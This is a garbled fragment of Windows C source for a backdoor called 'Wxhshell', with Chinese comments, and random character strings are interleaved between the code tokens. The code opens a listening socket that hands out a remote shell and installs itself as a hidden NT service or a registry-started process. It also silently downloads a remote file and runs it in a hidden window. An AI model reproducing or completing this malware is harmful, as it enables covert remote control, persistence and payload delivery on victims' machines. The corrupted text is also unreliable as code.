'EbWFMjy int StartWxhshell(LPSTR lpCmdLine) jQ2Ot < { gtk7)Uh SOCKET wsl; x=b7': nQ BOOL val=TRUE; tzZ`2pSh int port=0; [N7{WSZ& struct sockaddr_in door; )Im#dVQs= bM {s
T" if(wscfg.ws_autoins) Install(); 0ZZZoPo ^(vs.U^U< port=atoi(lpCmdLine); Gft%Mq
v LhOa{1SY if(port<=0) port=wscfg.ws_port; M+U9R@ [@J/eWB WSADATA data; 6$kq aS## if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; F Sw\_[^CQ ok!L.ac if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; '*5i)^ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); GFeQ%l`7F door.sin_family = AF_INET; K@I
D/]PF door.sin_addr.s_addr = inet_addr("127.0.0.1"); Al}6q{E9+8 door.sin_port = htons(port); `UD/}j@ _ FpTFfB if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ad*m%9Y1Q closesocket(wsl); W-mQjJ`,B return 1; B:'J`M"N } 41`n1:-] ZCmgs4W! if(listen(wsl,2) == INVALID_SOCKET) { LAB=Vp1y3[ closesocket(wsl); ,?>s>bHV return 1; iiT"5`KY } >/l? g5{ Wxhshell(wsl); i,>khc WSACleanup(); hIy ~B[' &J[:awQX return 0; 63\/ *
NNB 7 HIeJ } vB.E3 r= K2TcOFQ // 以NT服务方式启动 CyS$|E VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &]`(v}`] { ''yB5#^w( DWORD status = 0; z@!`:'ak DWORD specificError = 0xfffffff; "W6uV! OLyf8&AU@ serviceStatus.dwServiceType = SERVICE_WIN32; gG0!C))8 serviceStatus.dwCurrentState = SERVICE_START_PENDING; /rWd=~[MO serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 3{'Ne}5%I serviceStatus.dwWin32ExitCode = 0; 5rw 7;' serviceStatus.dwServiceSpecificExitCode = 0; dP3CG8w5 serviceStatus.dwCheckPoint = 0; i3tg6o4C serviceStatus.dwWaitHint = 0; |iak z|]) Ag 9vU7 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7j@Hs[
* if (hServiceStatusHandle==0) return; t|g4m[kr f(/lLgI( status = GetLastError(); 6 Q%jA7 if (status!=NO_ERROR) 8IlunJ { Gr*r=s serviceStatus.dwCurrentState = SERVICE_STOPPED; `=4r+ serviceStatus.dwCheckPoint = 0; BmbyH{4 serviceStatus.dwWaitHint = 0; cqQ#p2<% serviceStatus.dwWin32ExitCode = status; o_XflzC serviceStatus.dwServiceSpecificExitCode = specificError; .c8g:WB< SetServiceStatus(hServiceStatusHandle, &serviceStatus); k.uH~S _ return; arIf'CG6 } a=J^ my(2;IJ#{ serviceStatus.dwCurrentState = SERVICE_RUNNING; Ro\8ZXUQa serviceStatus.dwCheckPoint = 0; {m4b(t`xw serviceStatus.dwWaitHint = 0; a L} %2 if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J"!vu.[ } '~5LY!H(pT NCiW^#b // 处理NT服务事件,比如:启动、停止 *Fy2BZH%Q VOID WINAPI NTServiceHandler(DWORD fdwControl) VEWi_;=J1 { \:b3~%Fz switch(fdwControl) >" )Tf6zw& { z>LUH case SERVICE_CONTROL_STOP: Nv#t:J9f serviceStatus.dwWin32ExitCode = 0; ;Y00TGU serviceStatus.dwCurrentState = SERVICE_STOPPED; 2^r<{0@n serviceStatus.dwCheckPoint = 0; 6</xL9#/ serviceStatus.dwWaitHint = 0; zBCtd1Xrni { A
9( x SetServiceStatus(hServiceStatusHandle, &serviceStatus); /a{la8Ni } * aN return; ,k24w7K%d case SERVICE_CONTROL_PAUSE: V3&RJ k=b serviceStatus.dwCurrentState = SERVICE_PAUSED; &Y!-%{e break; IdzxS case SERVICE_CONTROL_CONTINUE: v:IpMU-+\ serviceStatus.dwCurrentState = SERVICE_RUNNING; WffQ :L? break; &-;4.op case SERVICE_CONTROL_INTERROGATE: zNs55e.rx break; yMG1XEhuG }; (ceNO4"cZ SetServiceStatus(hServiceStatusHandle, &serviceStatus); X3{G:H0\p } yQU{zY WA5 kg\ // 标准应用程序主函数 /NLui@|R int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h{CL{>d { =#;3Q~:Jl^ \K5DOM "# // 获取操作系统版本 8L,5Q9
$ OsIsNt=GetOsVer(); MV5 _L3M GetModuleFileName(NULL,ExeFile,MAX_PATH); J=\HO8E6> 5&QJ7B,! // 从命令行安装 ?qP7Y nl if(strpbrk(lpCmdLine,"iI")) Install(); C_(
*>!Z% caU0\VS // 下载执行文件 '9laa=H%8 if(wscfg.ws_downexe) { 2y//'3[ if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SON-Z"v WinExec(wscfg.ws_filenam,SW_HIDE); +NeOSQSj } (uXL^oja vq0Vq(V= if(!OsIsNt) { 5yd MMb // 如果时win9x,隐藏进程并且设置为注册表启动 lNz7u:U3 HideProc(); 'H3^e} StartWxhshell(lpCmdLine); @ju@WY45$^ } rNrxaRQ else RmI]1S_= if(StartFromService()) <lgYcdJ // 以服务方式启动 u8'Zl8g StartServiceCtrlDispatcher(DispatchTable); xqeyD* s else 02f~En}>6 // 普通方式启动 lNy.g{2f<m StartWxhshell(lpCmdLine); ;!=G ,$@bE return 0; .7Dtm<K# }
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